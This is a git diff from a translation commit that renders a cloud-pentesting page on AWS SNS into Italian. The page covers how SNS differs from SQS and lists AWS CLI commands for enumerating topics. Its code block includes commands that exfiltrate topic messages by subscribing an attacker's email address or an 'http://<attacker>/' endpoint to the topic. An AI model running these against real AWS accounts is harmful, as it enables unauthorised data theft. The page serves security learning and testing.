Translated ['src/README.md', 'src/banners/hacktricks-training.md', 'src/

This commit is contained in:
Translator
2024-12-31 20:18:58 +00:00
parent 820dd99aed
commit 931ae54e5f
245 changed files with 9984 additions and 12710 deletions

View File

@@ -4,18 +4,17 @@
## SNS
Amazon Simple Notification Service (Amazon SNS) is described as a **fully managed messaging service**. It supports both **application-to-application** (A2A) and **application-to-person** (A2P) communication types.
Amazon Simple Notification Service (Amazon SNS) è descritto come un **servizio di messaggistica completamente gestito**. Supporta sia i tipi di comunicazione **applicazione-a-applicazione** (A2A) che **applicazione-a-persona** (A2P).
Key features for A2A communication include **publish/subscribe (pub/sub) mechanisms**. These mechanisms introduce **topics**, crucial for enabling high-throughput, **push-based, many-to-many messaging**. This feature is highly advantageous in scenarios that involve distributed systems, microservices, and event-driven serverless architectures. By leveraging these topics, publisher systems can efficiently distribute messages to a **wide range of subscriber systems**, facilitating a fanout messaging pattern.
Le caratteristiche chiave per la comunicazione A2A includono i **meccanismi di pubblicazione/sottoscrizione (pub/sub)**. Questi meccanismi introducono **argomenti**, cruciali per abilitare un messaggistica **push-based** ad alta capacità, **molti-a-molti**. Questa funzionalità è altamente vantaggiosa in scenari che coinvolgono sistemi distribuiti, microservizi e architetture serverless basate su eventi. Sfruttando questi argomenti, i sistemi di pubblicazione possono distribuire messaggi in modo efficiente a un **ampio numero di sistemi di sottoscrizione**, facilitando un modello di messaggistica fanout.
### **Difference with SQS**
### **Differenza con SQS**
**SQS** is a **queue-based** service that allows point-to-point communication, ensuring that messages are processed by a **single consumer**. It offers **at-least-once delivery**, supports standard and FIFO queues, and allows message retention for retries and delayed processing.\
On the other hand, **SNS** is a **publish/subscribe-based service**, enabling **one-to-many** communication by broadcasting messages to **multiple subscribers** simultaneously. It supports **various subscription endpoints like email, SMS, Lambda functions, and HTTP/HTTPS**, and provides filtering mechanisms for targeted message delivery.\
While both services enable decoupling between components in distributed systems, SQS focuses on queued communication, and SNS emphasizes event-driven, fan-out communication patterns.
### **Enumeration**
**SQS** è un servizio **basato su coda** che consente comunicazione punto-a-punto, garantendo che i messaggi siano elaborati da un **singolo consumatore**. Offre **consegna almeno una volta**, supporta code standard e FIFO, e consente la retention dei messaggi per ripetizioni e elaborazione ritardata.\
D'altra parte, **SNS** è un servizio **basato su pubblicazione/sottoscrizione**, che consente comunicazione **uno-a-molti** trasmettendo messaggi a **più sottoscrittori** simultaneamente. Supporta **vari endpoint di sottoscrizione come email, SMS, funzioni Lambda e HTTP/HTTPS**, e fornisce meccanismi di filtraggio per la consegna mirata dei messaggi.\
Sebbene entrambi i servizi consentano il disaccoppiamento tra i componenti nei sistemi distribuiti, SQS si concentra sulla comunicazione in coda, mentre SNS enfatizza i modelli di comunicazione basati su eventi e fan-out.
### **Enumerazione**
```bash
# Get topics & subscriptions
aws sns list-topics
@@ -24,60 +23,55 @@ aws sns list-subscriptions-by-topic --topic-arn <arn>
# Check privescs & post-exploitation
aws sns publish --region <region> \
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
--topic-arn "arn:aws:sns:us-west-2:123456789012:my-topic" \
--message file://message.txt
# Exfiltrate through email
## You will receive an email to confirm the subscription
aws sns subscribe --region <region> \
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
--topic-arn arn:aws:sns:us-west-2:123456789012:my-topic \
--protocol email \
--notification-endpoint my-email@example.com
# Exfiltrate through web server
## You will receive an initial request with a URL in the field "SubscribeURL"
## that you need to access to confirm the subscription
aws sns subscribe --region <region>\
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
```
> [!CAUTION]
> Note that if the **topic is of type FIFO**, only subscribers using the protocol **SQS** can be used (HTTP or HTTPS cannot be used).
> Nota che se il **topic è di tipo FIFO**, possono essere utilizzati solo gli abbonati che utilizzano il protocollo **SQS** (HTTP o HTTPS non possono essere utilizzati).
>
> Also, even if the `--topic-arn` contains the region make sure you specify the correct region in **`--region`** or you will get an error that looks like indicate that you don't have access but the problem is the region.
> Inoltre, anche se il `--topic-arn` contiene la regione, assicurati di specificare la regione corretta in **`--region`** o riceverai un errore che sembra indicare che non hai accesso, ma il problema è la regione.
#### Unauthenticated Access
#### Accesso Non Autenticato
{{#ref}}
../aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md
{{#endref}}
#### Privilege Escalation
#### Escalation dei Privilegi
{{#ref}}
../aws-privilege-escalation/aws-sns-privesc.md
{{#endref}}
#### Post Exploitation
#### Post Sfruttamento
{{#ref}}
../aws-post-exploitation/aws-sns-post-exploitation.md
{{#endref}}
#### Persistence
#### Persistenza
{{#ref}}
../aws-persistence/aws-sns-persistence.md
{{#endref}}
## References
## Riferimenti
- [https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/](https://aws.amazon.com/about-aws/whats-new/2022/01/amazon-sns-attribute-based-access-controls/)
{{#include ../../../banners/hacktricks-training.md}}